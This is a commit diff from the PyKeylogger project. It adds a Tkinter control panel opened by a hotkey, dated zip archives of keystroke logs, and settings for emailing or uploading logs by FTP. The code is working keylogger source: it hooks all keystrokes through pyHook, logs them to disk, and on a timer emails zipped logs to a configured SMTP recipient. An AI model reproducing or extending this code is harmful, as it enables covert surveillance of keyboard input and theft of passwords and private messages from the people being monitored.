in the process of adding control panel and reconfiguring some features:

nanotube [2006-07-30 07:20]
in the process of adding control panel and reconfiguring some features:
-make zipping files function stand on its own, and make dated zipfiles
-add the beginning of a gui control panel
-add tooltips for the control panel
-reconfigure ini file to have tooltips, add ftp section (not yet implemented)
-make exitkey call up the control panel
-add support request message (currently set to show when running from source, for testing purposes)
-some reconfiguration to add all this stuff, and probably some more minor details i am forgetting to mention...
Filename
controlpanel.py
keylogger.pyw
logwriter.py
pykeylogger.ini
tooltip.py
diff --git a/controlpanel.py b/controlpanel.py
new file mode 100644
index 0000000..7f3e735
--- /dev/null
+++ b/controlpanel.py
@@ -0,0 +1,137 @@
+from Tkinter import *
+import tkSimpleDialog, tkMessageBox
+import ConfigParser
+from tooltip import ToolTip
+
+class PyKeyloggerControlPanel:
+    def __init__(self, settings, mainapp):
+        self.mainapp=mainapp
+        self.settings=settings
+        self.root = Tk()
+        #self.root.config(height=20, width=20)
+        #self.root.iconify()
+        self.PasswordDialog()
+        self.root.title("PyKeylogger Control Panel")
+        # call the password authentication widget
+        # if password match, then create the main panel
+        self.InitializeMainPanel()
+        self.root.mainloop()
+
+    def InitializeMainPanel(self):
+        #create the main panel window
+        #root = Tk()
+        #root.title("PyKeylogger Control Panel")
+        # create a menu
+        menu = Menu(self.root)
+        self.root.config(menu=menu)
+
+        actionmenu = Menu(menu)
+        menu.add_cascade(label="Actions", menu=actionmenu)
+        actionmenu.add_command(label="Flush write buffers", command=Command(self.mainapp.lw.FlushLogWriteBuffers, "Flushing write buffers at command from control panel."))
+        actionmenu.add_command(label="Zip Logs", command=Command(self.mainapp.lw.ZipLogFiles))
+        actionmenu.add_command(label="Send logs by email", command=Command(self.mainapp.lw.SendZipByEmail))
+        actionmenu.add_command(label="Upload logs by FTP", command=self.callback) #do not have this method yet
+        actionmenu.add_command(label="Upload logs by SFTP", command=self.callback) # do not have this method yet
+        actionmenu.add_command(label="Delete logs older than " + self.settings['maxlogage'] + " days", command=Command(self.mainapp.lw.DeleteOldLogs))
+        actionmenu.add_separator()
+        actionmenu.add_command(label="Close Control Panel", command=self.root.destroy)
+        actionmenu.add_command(label="Quit PyKeylogger", command=self.mainapp.stop)
+
+        optionsmenu = Menu(menu)
+        menu.add_cascade(label="Configuration", menu=optionsmenu)
+        optionsmenu.add_command(label="General Settings", command=Command(self.CreateConfigPanel, "general"))
+        optionsmenu.add_command(label="Email Settings", command=Command(self.CreateConfigPanel, "email"))
+        optionsmenu.add_command(label="FTP Settings", command=Command(self.CreateConfigPanel, "ftp"))
+        optionsmenu.add_command(label="SFTP Settings", command=Command(self.CreateConfigPanel, "sftp"))
+        optionsmenu.add_command(label="Log Maintenance Settings", command=Command(self.CreateConfigPanel, "logmaintenance"))
+        optionsmenu.add_command(label="Timestamp Settings", command=Command(self.CreateConfigPanel, "timestamp"))
+
+        #self.root.mainloop()
+
+    def PasswordDialog(self):
+        #passroot=Tk()
+        #passroot.title("Enter Password")
+        mypassword = tkSimpleDialog.askstring("Enter Password", "enter it:", show="*")
+
+    def callback(self):
+        tkMessageBox.showwarning(title="Not Implemented", message="This feature has not yet been implemented")
+
+    def CreateConfigPanel(self, section="general"):
+        self.panelconfig = ConfigParser.SafeConfigParser()
+        self.panelconfig.readfp(open(self.settings['configfile']))
+        self.panelsettings = dict(self.panelconfig.items(section))
+        self.configpanel = ConfigPanel(self.root, title=section + " settings", settings=self.panelsettings)
+        # now we dump all this in a frame in root window in a grid
+
+class ConfigPanel(tkSimpleDialog.Dialog):
+
+    def __init__(self, parent, title=None, settings={}):
+        self.settings=settings
+        tkSimpleDialog.Dialog.__init__(self, parent, title)
+
+    def body(self, master):
+
+        index=0
+        self.entrydict=dict()
+        self.tooltipdict=dict()
+        for key in self.settings.keys():
+            if key.find("tooltip") == -1:
+                Label(master, text=key).grid(row=index, sticky=W)
+                self.entrydict[key]=Entry(master)
+                self.entrydict[key].insert(END, self.settings[key])
+                self.entrydict[key].grid(row=index, column=1)
+                self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=500, text=self.settings[key + "tooltip"])
+                index += 1
+
+
+
+    def apply(self):
+        pass
+    #~ def __init__(self):
+        #~ # create app window with sensitive data settings
+        #~ # general password
+        #~ # smtpusername
+        #~ # smtppassword
+        #~ # ftpusername
+        #~ # ftppassword
+        #~ # sftpusername
+        #~ # sftppassword
+        #~ pass
+
+class Command:
+    ''' A class we can use to avoid using the tricky "Lambda" expression.
+    "Python and Tkinter Programming" by John Grayson, introduces this
+    idiom.
+
+    Thanks to http://mail.python.org/pipermail/tutor/2001-April/004787.html
+    for this tip.'''
+
+    def __init__(self, func, *args, **kwargs):
+        self.func = func
+        self.args = args
+        self.kwargs = kwargs
+
+    def __call__(self):
+        apply(self.func, self.args, self.kwargs)
+
+if __name__ == '__main__':
+    # some simple testing code
+    settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"pykeylogger.ini"}
+    class BlankKeylogger:
+        def stop(self):
+            pass
+        def __init__(self):
+            self.lw=BlankLogWriter()
+
+    class BlankLogWriter:
+        def FlushLogWriteBuffers(self, message):
+            pass
+        def ZipLogFiles(self):
+            pass
+        def SendZipByEmail(self):
+            pass
+        def DeleteOldLogs(self):
+            pass
+
+    klobject=BlankKeylogger()
+    myapp = PyKeyloggerControlPanel(settings, klobject)
\ No newline at end of file
diff --git a/keylogger.pyw b/keylogger.pyw
index a17de2d..8039456 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -2,11 +2,14 @@ import pyHook
 import time
 import pythoncom
 import sys
+import imp
 from optparse import OptionParser
 import traceback
 from logwriter import LogWriter
 import version
 import ConfigParser
+from controlpanel import PyKeyloggerControlPanel
+import Tkinter, tkMessageBox

 class KeyLogger:
     ''' Captures all keystrokes, calls LogWriter class to log them to disk
@@ -35,8 +38,9 @@ class KeyLogger:
         '''
         self.lw.WriteToLogFile(event)

-        if event.Key == self.settings['exitkey']:
-            self.stop()
+        if event.Key == self.settings['controlkey']:
+            PyKeyloggerControlPanel(self.settings, self)
+            #self.stop()

         return True

@@ -68,9 +72,19 @@ class KeyLogger:
         self.settings.update(dict(self.config.items('email')))
         self.settings.update(dict(self.config.items('logmaintenance')))
         self.settings.update(dict(self.config.items('timestamp')))
-        self.settings.update(self.options.__dict__)
+        self.settings.update(dict(self.config.items('zip')))
+        self.settings.update(self.options.__dict__) # add commandline options to our settings dict

 if __name__ == '__main__':
+    def main_is_frozen():
+        return (hasattr(sys, "frozen") or # new py2exe
+                hasattr(sys, "importers") or # old py2exe
+                imp.is_frozen("__main__")) # tools/freeze
+
+    if not main_is_frozen(): #comment out this if statement to remove support request
+        root=Tkinter.Tk()
+        tkMessageBox.showinfo(title="Please support PyKeylogger", message="Please support PyKeylogger")
+        root.destroy()
     kl = KeyLogger()
     kl.start()

diff --git a/logwriter.py b/logwriter.py
index c15960b..bcbb6da 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -65,7 +65,7 @@ class LogWriter:

         # initialize the automatic zip and email timer, if enabled in .ini
         if self.settings['smtpsendemail'] == 'True':
-            self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60*60, 0, self.ZipAndEmailTimerAction)
+            self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60*60, 0, self.SendZipByEmail)
             self.emailtimer.start()

         # initialize automatic old log deletion timer
@@ -73,6 +73,7 @@ class LogWriter:
             self.oldlogtimer = mytimer.MyTimer(float(self.settings['agecheckinterval'])*60*60, 0, self.DeleteOldLogs)
             self.oldlogtimer.start()

+        # initialize the automatic timestamp timer
         if self.settings['timestampenable'] == 'True':
             self.timestamptimer = mytimer.MyTimer(float(self.settings['timestampinterval'])*60, 0, self.WriteTimestamp)
             self.timestamptimer.start()
@@ -80,6 +81,13 @@ class LogWriter:
         # initialize the automatic log flushing timer
         self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"])
         self.flushtimer.start()
+
+        # initialize some automatic zip stuff
+        self.settings['ziparchivename'] = "log_[date].zip"
+        if self.settings['zipenable'] == 'True':
+            self.ziptimer = mytimer.MyTimer(float(self.settings['zipinterval'])*60*60, 0, self.ZipLogFiles)
+            self.ziptimer.start()
+

     def WriteToLogFile(self, event):
         '''Write keystroke specified in "event" object to logfile
@@ -116,8 +124,10 @@ class LogWriter:
         if event.Ascii == 27 and self.settings['parseescape'] == True:
             self.PrintStuff('[KeyName:' + event.Key + ']')

-        if event.Key == self.settings['flushkey']:
-            self.FlushLogWriteBuffers("Flushing write buffers due to keyboard command\n")
+        # this has now been disabled, since flushing is done both automatically at interval,
+        # and can also be performed from the control panel.
+        #if event.Key == self.settings['flushkey']:
+        #    self.FlushLogWriteBuffers("Flushing write buffers due to keyboard command\n")

     def TestForNoLog(self, event):
         '''This function returns False if the process name associated with an event
@@ -139,26 +149,101 @@ class LogWriter:

     def ZipLogFiles(self):
         '''Create a zip archive of all files in the log directory.
+
+        Create archive name of type "log_YYYYMMDD_HHMMSS.zip
         '''
         self.FlushLogWriteBuffers("Flushing write buffers prior to zipping the logs\n")

+        zipFileTime = time.strftime("%Y%m%d_%H%M%S")
+        zipFileName = re.sub(r"\[date\]", zipFileTime, self.settings['ziparchivename'])
+
         os.chdir(self.settings['dirname'])
-        myzip = zipfile.ZipFile(self.settings['ziparchivename'], "w", zipfile.ZIP_DEFLATED)
+        myzip = zipfile.ZipFile(zipFileName, "w", zipfile.ZIP_DEFLATED)

         for root, dirs, files in os.walk(os.curdir):
             for fname in files:
-                if fname != self.settings['ziparchivename']:
+                #if fname != self.settings['ziparchivename']:
+                if not self.CheckIfZipFile(fname):
                     myzip.write(os.path.join(root,fname).split("\\",1)[1])

         myzip.close()
-        myzip = zipfile.ZipFile(self.settings['ziparchivename'], "r", zipfile.ZIP_DEFLATED)
+        myzip = zipfile.ZipFile(zipFileName, "r", zipfile.ZIP_DEFLATED)
         if myzip.testzip() != None:
             self.PrintDebug("Warning: Zipfile did not pass check.\n")
         myzip.close()

+        # write the name of the last completed zip file
+        # so that we can check against this when emailing or ftping, to make sure
+        # we do not try to transfer a zipfile which is in the process of being created
+        ziplog=open(os.path.join(self.settings['dirname'], "ziplog.txt"), 'w')
+        ziplog.write(zipFileName)
+        ziplog.close()
+
+    def CheckIfZipFile(self, filename):
+        '''Helper function for ZipLogFiles to make sure we don't include
+        old zips into zip files.'''
+        if re.match(r"^log_[0-9]{8}_[0-9]{6}\.zip$", filename) != None:
+            return True
+        else:
+            return False
+
     def SendZipByEmail(self):
         '''Send the zipped logfile archive by email, using mail settings specified in the .ini file
         '''
+        # basic logic flow:
+        #~ if autozip is not enabled, just call the ziplogfiles function ourselves
+
+        #~ read ziplog.txt (in a try block) and check if it conforms to being a proper zip filename
+        #~ if not, then print error and get out
+
+        #~ in a try block, read emaillog.txt to get latest emailed zip, and check for proper filename
+            #~ if fail, just go ahead with sending all available zipfiles
+
+        #~ do a os.listdir() on the dirname, and trim it down to only contain our zipfiles
+            #~ and moreover, only zipfiles with names between lastemailed and latestzip, including latestzip,
+            #~ but not including lastemailed.
+
+        #~ send all the files in list
+
+        #~ write new lastemailed to emaillog.txt
+
+        self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n")
+
+        if self.settings['zipenable'] == 'False':
+            self.ZipLogFiles()
+
+        try:
+            ziplog = open(os.path.join(self.settings['dirname'], "ziplog.txt"), 'r')
+            latestZipFile = ziplog.readline()
+            ziplog.close()
+        except:
+            self.PrintDebug("Unexpected error opening ziplog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+            return
+
+        if not self.CheckIfZipFile(latestZipFile):
+            self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+            return
+
+        try:
+            emaillog = open(os.path.join(self.settings['dirname'], "emaillog.txt"), 'r')
+            latestZipEmailed = emaillog.readline()
+            emaillog.close()
+        except:
+            self.PrintDebug("Error opening emaillog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\nWill email all available log zips.\n")
+
+        if not self.CheckIfZipFile(latestZipEmailed):
+            self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+            return
+
+        zipFileList = os.listdir(self.settings['dirname'])
+        for filename in zipFileList:
+            if not self.CheckIfZipFile(filename):
+                zipFileList.remove(filename)
+            # we can do the following string comparison due to the structured and dated format of the filenames
+            elif filename <= latestZipEmailed or filename > latestZipFile:
+                zipFileList.remove(filename)
+
+
         # set up the message
         msg = MIMEMultipart()
         msg['From'] = self.settings['smtpfrom']
@@ -168,9 +253,9 @@ class LogWriter:

         msg.attach( MIMEText(self.settings['smtpmessagebody']) )

-        for file in [os.path.join(self.settings['dirname'], self.settings['ziparchivename'])]:
+        for file in zipFileList:
             part = MIMEBase('application', "octet-stream")
-            part.set_payload( open(file,"rb").read() )
+            part.set_payload( open(os.path.join(self.settings['dirname'], file),"rb").read() )
             Encoders.encode_base64(part)
             part.add_header('Content-Disposition', 'attachment; filename="%s"'
                            % os.path.basename(file))
@@ -186,9 +271,17 @@ class LogWriter:
         sendingresults=mysmtp.sendmail(self.settings['smtpfrom'], self.settings['smtpto'].split(";"), msg.as_string())
         self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n")
         mysmtp.quit()
+
+        # write the latest emailed zip to log for the future
+        zipFileList.sort()
+        emaillog = open(os.path.join(self.settings['dirname'], "emaillog.txt"), 'w')
+        emaillog.write(zipFileList.pop())
+        emaillog.close()

     def ZipAndEmailTimerAction(self):
         '''This is a timer action function that zips the logs and sends them by email.
+
+        deprecated - should delete this.
         '''
         self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n")
         self.ZipLogFiles()
@@ -334,6 +427,8 @@ class LogWriter:
             self.oldlogtimer.cancel()
         if self.settings['timestampenable'] == 'True':
             self.timestamptimer.cancel()
+        if self.settings['zipenable'] == 'True':
+            self.ziptimer.cancel()

 if __name__ == '__main__':
     #some testing code
diff --git a/pykeylogger.ini b/pykeylogger.ini
index 4a4d8b2..68e5904 100644
--- a/pykeylogger.ini
+++ b/pykeylogger.ini
@@ -1,118 +1,206 @@
 [general]

+# Set to the master password to control pykeylogger
+# For security purposes, this value can only be set through the control panel, to avoid storing your password in plain text.
+# default: None
+masterPasswordTooltip=Set to the master password to control pykeylogger
+masterPassword=None
+
 # Set dirname to the full path of directory where you want logs to be written.
 # default: C:\Temp\logdir
+dirNameTooltip=Set to the full path of directory where you want logs to be written.
 dirName=C:\Temp\logdir

 # Log keyboard input
 # default: True
+hookKeyboardTooltip=Log keyboard input
 hookKeyboard=True

 # Add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility)
 # default: False
+addLineFeedTooltip=Add linefeed [\n] character when carriage return [\r] character is detected (for Notepad compatibility)
 addLineFeed=False

 # Translate backspace chacarter into printable string
 # default: False
+parseBackspaceTooltip=Translate backspace chacarter into printable string (for Notepad compatibility)
 parseBackspace=False

 # Translate escape chacarter into printable string
 # default: False
+parseEscapeTooltip=Translate escape chacarter into printable string (for Notepad compatibility)
 parseEscape=False

 # Specify the key to press to exit keylogger (hint: to disable key, just set to a nonexistent key)
 # default: F12
-exitKey=F12
+controlKeyTooltip=Specify the key to press to bring up control panel (hint: to disable key, just set to a nonexistent key)
+controlKey=F12

+##### disabled
 # Specify the key to press to flush write buffer to file (hint: to disable key, just set to a nonexistent key. buffer will still be flushed automatically.)
 # default: F11
-flushKey=F11
+#flushKeyTooltip=Specify the key to press to flush write buffer to file (hint: to disable key, just set to a nonexistent key. buffer will still be flushed automatically.)
+#flushKey=F11

 # Specify one or more applications by full path name whose input will not be logged. separate multiple applications with semicolon ";".
 # Leave as "None" to log all applications.
 # default: None
+noLogTooltip=Specify one or more applications by full path name whose input will not be logged. separate multiple applications with semicolon ";". Leave as "None" to log all applications.
 noLog=None

 # Log all output to one file (filename specified here), inside directory specified with dirName, rather than to multiple files.
 # Leave as "None" to let logging take place to multiple files
 # default: None
+oneFileTooltip=Log all output to one file (filename specified here), inside directory specified with dirName, rather than to multiple files. Leave as "None" to let logging take place to multiple files.
 oneFile=None

 # Specify the time interval between buffer autoflush events, in seconds.
 # default: 120
+flushIntervalTooltip=Specify the time interval between buffer autoflush events, in SECONDS.
 flushInterval=120

 # Log some debug/informational output, to a systemlog file (filename specified here), inside directory specified with dirName
 # Set to None to disable
 # default: None
+systemLogTooltip=Log some debug/informational output, to a systemlog file (filename specified here), inside directory specified with dirName. Set to "None" to disable.
 systemLog=None

 [email]

 # Set to True to enable automatic periodic emails of a zipped archive of logfiles
 # default: False
+smtpSendEmailTooltip=Set to True to enable automatic periodic emails of a zipped archive of logfiles.
 smtpSendEmail=False

 # Set to True if your smtp server requires a login with username/password
 # default: True
+smtpNeedsLoginTooltip=Set to True if your smtp server requires a login with username/password.
 smtpNeedsLogin=True

 # Set to your username (only needed if your smtp server requires a login)
+# For security purposes, this value can only be set through the control panel, to avoid storing your username in plain text.
 # default: yourusername
+smtpUsernameTooltip=Set to your username for the smtp server (only needed if your smtp server requires a login).
 smtpUsername=yourusername

 # Set to your password (only needed if your smtp server requires a password)
+# For security purposes, this value can only be set through the control panel, to avoid storing your password in plain text.
 # default: yourpassword
+smtpPasswordTooltip=Set to your password (only needed if your smtp server requires a password).
 smtpPassword=yourpassword

 # Set to the hostname of your smtp server
 # default: your.smtp.server
+smtpServerTooltip=Set to the hostname of your smtp server.
 smtpServer=your.smtp.server

 # Set to the email address that you want to appear in the "From" line in your email
 # default: yourfromaddress@host.com
+smtpFromTooltip=Set to the email address that you want to appear in the "From" line in your email.
 smtpFrom=yourfromaddress@host.com

 # Set to the email address that you want to appear in the "To" line in your email. Separate multiple addresses semicolon ";".
 # default: yourtoaddress@host.com
+smtpToTooltip=Set to the email address that you want to send email to. Separate multiple addresses semicolon ";".
 smtpTo=yourtoaddress@host.com

 # Set to the text you want to appear in the Subject line in your email
 # default: Automatic Logfile Email
+smtpSubjectTooltip=Set to the text you want to appear in the Subject line in your email.
 smtpSubject=Automatic Logfile Email

 # Set to the text that you want to appear in the message body of your email
 # default: Please see attached zipfile.
+smtpMessageBodyTooltip=Set to the text that you want to appear in the message body of your email.
 smtpMessageBody=Please see attached zipfile.

 # Specify the time interval between automatic log email events, in hours.
 # default: 4.0
+emailIntervalTooltip=Specify the time interval between automatic log email events, in HOURS.
 emailInterval=4.0

+[zip]
+
+##### disabled. filename set to log_[date].zip
 # Specify the filename for the zip archive that will be emailed to you
 # default: logzip.zip
-zipArchiveName=logzip.zip
+#zipArchiveNameTooltip=Specify the filename for the zip archive that will be emailed to you. "[date]" will be replaced with current date/time in MMDDYYYY_HHMMSS format. If "[date]" is not present, it will be added at the end of the filename, as it is needed for proper operation.
+#zipArchiveName=log_[date].zip
+
+zipEnableTooltip=Set this to true to enable automatic zipping of logfiles to dated archives (and deletion of files that have been zipped).
+zipEnable=False
+
+zipIntervalTooltip=Set this to the time interval between automatic zip events, in HOURS.
+zipInterval=4.0
+
+
+[ftp]
+
+# Set to True to enable automatic periodic uploading of a zipped archive of logfiles by FTP
+# default: False
+ftpUploadFilesTooltip=Set to True to enable automatic periodic uploading of a zipped archive of logfiles by FTP.
+ftpUploadFiles=False
+
+# Set to the hostname of your ftp server
+# default: your.ftp.server
+ftpServerTooltip=Set to the hostname of your ftp server.
+ftpServer=your.ftp.server
+
+# Set to the port number of your ftp server (most ftp servers run on port 21)
+# default: 21
+ftpPortTooltip=Set to the port number of your ftp server (most ftp servers run on port 21).
+ftpPort=21
+
+# Set to the directory on the server where you would like to upload
+# default: pykeylogger
+ftpUploadDirTooltip=Set to the directory on the server where you would like to upload (relative or full path accepted).
+ftpUploadDir=pykeylogger
+
+# Set to your username
+# For security purposes, this value can only be set through the control panel, to avoid storing your password in plain text.
+# default: anonymous
+ftpUserNameTooltip=Set to your username on the target FTP server.
+ftpUserName=anonymous
+
+# Set to your password
+# For security purposes, this value can only be set through the control panel, to avoid storing your password in plain text.
+# default: anonymous@
+ftpPasswordTooltip=Set to your password on the target FTP server.
+ftpPassword=anonymous@
+
+# Set to True to enable passive mode file transfer
+# default: True
+ftpPassiveTooltip=Set to True to enable passive mode file transfer (recommended).
+ftpPassive=True
+
+ftpIntervalTooltip=Set this to the time interval between automatic FTP events, in HOURS.
+ftpInterval=4.0

 [logmaintenance]

 # Set to True to enable automatic deletion of old logs
 # default: False
+deleteOldLogsTooltip=Set to True to enable automatic deletion of old logs.
 deleteOldLogs=False

 # Set to the maximum age of the logs that you want to keep, in days. Logs older than this will be deleted.
 # default: 2.0
+maxLogAgeTooltip=Set to the maximum age of the logs that you want to keep, in days. Logs older than this will be deleted.
 maxLogAge=2.0

 # Set to the frequency of checking for and deleting logs older than maxLogAge, in hours.
 # default: 2.0
+ageCheckIntervalTooltip=Set to the frequency of checking for and deleting logs older than maxLogAge, in HOURS.
 ageCheckInterval=2.0

 [timestamp]

 # Set this to True to enable periodic timestamps in the logfiles
 # default: True
+timestampEnableTooltip=Set this to True to enable periodic timestamps in the logfiles.
 timestampEnable=True

 # Set this to time interval (in minutes) between the timestamps
 # default: 30.0
+timestampIntervalTooltip=Set this to time interval between the timestamps, in MINUTES.
 timestampInterval=30.0
\ No newline at end of file
diff --git a/tooltip.py b/tooltip.py
new file mode 100644
index 0000000..4873ce5
--- /dev/null
+++ b/tooltip.py
@@ -0,0 +1,168 @@
+'''Michael Lange <klappnase at 8ung dot at>
+The ToolTip class provides a flexible tooltip widget for Tkinter; it is based on IDLE's ToolTip
+module which unfortunately seems to be broken (at least the version I saw).
+INITIALIZATION OPTIONS:
+anchor :        where the text should be positioned inside the widget, must be on of "n", "s", "e", "w", "nw" and so on;
+                default is "center"
+bd :            borderwidth of the widget; default is 1 (NOTE: don't use "borderwidth" here)
+bg :            background color to use for the widget; default is "lightyellow" (NOTE: don't use "background")
+delay :         time in ms that it takes for the widget to appear on the screen when the mouse pointer has
+                entered the parent widget; default is 1500
+fg :            foreground (i.e. text) color to use; default is "black" (NOTE: don't use "foreground")
+follow_mouse :  if set to 1 the tooltip will follow the mouse pointer instead of being displayed
+                outside of the parent widget; this may be useful if you want to use tooltips for
+                large widgets like listboxes or canvases; default is 0
+font :          font to use for the widget; default is system specific
+justify :       how multiple lines of text will be aligned, must be "left", "right" or "center"; default is "left"
+padx :          extra space added to the left and right within the widget; default is 4
+pady :          extra space above and below the text; default is 2
+relief :        one of "flat", "ridge", "groove", "raised", "sunken" or "solid"; default is "solid"
+state :         must be "normal" or "disabled"; if set to "disabled" the tooltip will not appear; default is "normal"
+text :          the text that is displayed inside the widget
+textvariable :  if set to an instance of Tkinter.StringVar() the variable's value will be used as text for the widget
+width :         width of the widget; the default is 0, which means that "wraplength" will be used to limit the widgets width
+wraplength :    limits the number of characters in each line; default is 150
+
+WIDGET METHODS:
+configure(**opts) : change one or more of the widget's options as described above; the changes will take effect the
+                    next time the tooltip shows up; NOTE: follow_mouse cannot be changed after widget initialization
+
+Other widget methods that might be useful if you want to subclass ToolTip:
+enter() :           callback when the mouse pointer enters the parent widget
+leave() :           called when the mouse pointer leaves the parent widget
+motion() :          is called when the mouse pointer moves inside the parent widget if follow_mouse is set to 1 and the
+                    tooltip has shown up to continually update the coordinates of the tooltip window
+coords() :          calculates the screen coordinates of the tooltip window
+create_contents() : creates the contents of the tooltip window (by default a Tkinter.Label)
+'''
+# Ideas gleaned from PySol
+
+import Tkinter
+
+class ToolTip:
+    def __init__(self, master, text='Your text here', delay=1500, **opts):
+        self.master = master
+        self._opts = {'anchor':'center', 'bd':1, 'bg':'lightyellow', 'delay':delay, 'fg':'black',\
+                      'follow_mouse':0, 'font':None, 'justify':'left', 'padx':4, 'pady':2,\
+                      'relief':'solid', 'state':'normal', 'text':text, 'textvariable':None,\
+                      'width':0, 'wraplength':150}
+        self.configure(**opts)
+        self._tipwindow = None
+        self._id = None
+        self._id1 = self.master.bind("<Enter>", self.enter, '+')
+        self._id2 = self.master.bind("<Leave>", self.leave, '+')
+        self._id3 = self.master.bind("<ButtonPress>", self.leave, '+')
+        self._follow_mouse = 0
+        if self._opts['follow_mouse']:
+            self._id4 = self.master.bind("<Motion>", self.motion, '+')
+            self._follow_mouse = 1
+
+    def configure(self, **opts):
+        for key in opts:
+            if self._opts.has_key(key):
+                self._opts[key] = opts[key]
+            else:
+                KeyError = 'KeyError: Unknown option: "%s"' %key
+                raise KeyError
+
+    ##----these methods handle the callbacks on "<Enter>", "<Leave>" and "<Motion>"---------------##
+    ##----events on the parent widget; override them if you want to change the widget's behavior--##
+
+    def enter(self, event=None):
+        self._schedule()
+
+    def leave(self, event=None):
+        self._unschedule()
+        self._hide()
+
+    def motion(self, event=None):
+        if self._tipwindow and self._follow_mouse:
+            x, y = self.coords()
+            self._tipwindow.wm_geometry("+%d+%d" % (x, y))
+
+    ##------the methods that do the work:---------------------------------------------------------##
+
+    def _schedule(self):
+        self._unschedule()
+        if self._opts['state'] == 'disabled':
+            return
+        self._id = self.master.after(self._opts['delay'], self._show)
+
+    def _unschedule(self):
+        id = self._id
+        self._id = None
+        if id:
+            self.master.after_cancel(id)
+
+    def _show(self):
+        if self._opts['state'] == 'disabled':
+            self._unschedule()
+            return
+        if not self._tipwindow:
+            self._tipwindow = tw = Tkinter.Toplevel(self.master)
+            # hide the window until we know the geometry
+            tw.withdraw()
+            tw.wm_overrideredirect(1)
+            self.create_contents()
+            tw.update_idletasks()
+            x, y = self.coords()
+            tw.wm_geometry("+%d+%d" % (x, y))
+            tw.deiconify()
+
+    def _hide(self):
+        tw = self._tipwindow
+        self._tipwindow = None
+        if tw:
+            tw.destroy()
+
+    ##----these methods might be overridden in derived classes:----------------------------------##
+
+    def coords(self):
+        # The tip window must be completely outside the master widget;
+        # otherwise when the mouse enters the tip window we get
+        # a leave event and it disappears, and then we get an enter
+        # event and it reappears, and so on forever :-(
+        # or we take care that the mouse pointer is always outside the tipwindow :-)
+        tw = self._tipwindow
+        twx, twy = tw.winfo_reqwidth(), tw.winfo_reqheight()
+        w, h = tw.winfo_screenwidth(), tw.winfo_screenheight()
+        # calculate the y coordinate:
+        if self._follow_mouse:
+            y = tw.winfo_pointery() + 20
+            # make sure the tipwindow is never outside the screen:
+            if y + twy > h:
+                y = y - twy - 30
+        else:
+            y = self.master.winfo_rooty() + self.master.winfo_height() + 3
+            if y + twy > h:
+                y = self.master.winfo_rooty() - twy - 3
+        # we can use the same x coord in both cases:
+        x = tw.winfo_pointerx() - twx / 2
+        if x < 0:
+            x = 0
+        elif x + twx > w:
+            x = w - twx
+        return x, y
+
+    def create_contents(self):
+        opts = self._opts.copy()
+        for opt in ('delay', 'follow_mouse', 'state'):
+            del opts[opt]
+        label = Tkinter.Label(self._tipwindow, **opts)
+        label.pack()
+
+##---------demo code-----------------------------------##
+
+def demo():
+    root = Tkinter.Tk(className='ToolTip-demo')
+    l = Tkinter.Listbox(root)
+    l.insert('end', "I'm a listbox")
+    l.pack(side='top')
+    t1 = ToolTip(l, follow_mouse=1, text="I'm a tooltip with follow_mouse set to 1, so I won't be placed outside my parent")
+    b = Tkinter.Button(root, text='Quit', command=root.quit)
+    b.pack(side='bottom')
+    t2 = ToolTip(b, text='Enough of this')
+    root.mainloop()
+
+if __name__ == '__main__':
+    demo()
\ No newline at end of file
ViewGit